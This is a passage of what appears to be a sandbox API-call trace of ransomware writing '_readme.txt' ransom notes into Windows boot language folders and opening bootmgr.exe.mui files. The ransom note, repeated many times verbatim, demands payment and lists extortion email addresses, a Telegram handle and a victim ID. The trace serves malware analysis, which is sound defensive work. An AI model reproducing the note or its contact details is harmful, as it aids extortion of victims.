hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.837] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.837] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.837] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.838] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0112.838] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.838] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.838] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.838] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.838] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0112.838] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.838] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.838] PathFindFileNameW (pszPath="") returned="" [0112.838] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.838] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.838] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.839] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.839] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0112.839] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0112.839] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.839] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.839] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.839] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.839] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0112.839] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.840] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.840] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.840] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.840] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0112.840] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.840] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.841] PathFindFileNameW (pszPath="") returned="" [0112.841] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.841] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.841] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.841] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.841] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0112.841] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0112.841] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.841] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.841] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.842] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.842] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0112.842] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.842] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.842] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.842] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.842] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0112.842] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.842] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.842] PathFindFileNameW (pszPath="") returned="" [0112.842] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.842] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.843] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.843] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.843] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0112.843] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0112.843] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 